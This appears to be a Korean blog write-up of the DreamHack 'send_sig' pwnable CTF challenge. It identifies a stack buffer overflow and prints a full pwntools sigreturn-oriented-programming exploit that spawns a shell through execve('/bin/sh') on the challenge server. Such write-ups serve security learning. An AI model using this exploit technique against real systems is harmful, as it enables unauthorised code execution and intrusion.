코드 분석

sub_4010B6을 분석해보자

buf의 크기가 8인데 0x400만큼 입력 받는다 => bof

/bin/sh를 리턴하는 함수도 있다

이 함수의 주소는 0x402000

pop rax;ret;가젯과 syscall 가젯도 있다
=> sigreturn syscall 후 execve('/bin/sh')syscall하자
익스플로잇
from pwn import *
p = remote('host3.dreamhack.games', 9285)
context(arch="amd64", os="linux")
e = ELF("./send_sig")
r = ROP(e)
pop_rax = r.find_gadget(['pop rax', 'ret'])[0]
syscall = r.find_gadget(['syscall'])[0]
pay = b'A'*0x10 + p64(pop_rax) + p64(0xf) + p64(syscall)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000 #binsh
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall
pay += bytes(frame)
p.sendafter("Signal:", pay)
p.interactive()

flag가 나온다
'CTF > Pwnable' 카테고리의 다른 글
| [DreamHack] Bypass IO_validate_vtable Write-up (0) | 2024.03.31 |
|---|---|
| [DreamHack] _IO_FILE Arbitrary Address Write Write-up (0) | 2024.03.30 |
| [DreamHack] overwrite_rtld_global write-up (0) | 2024.03.29 |
| [DreamHack]linux_forest Write-up (0) | 2024.03.27 |
| [DreamHack] binary_fix_tool Write-up (0) | 2024.03.24 |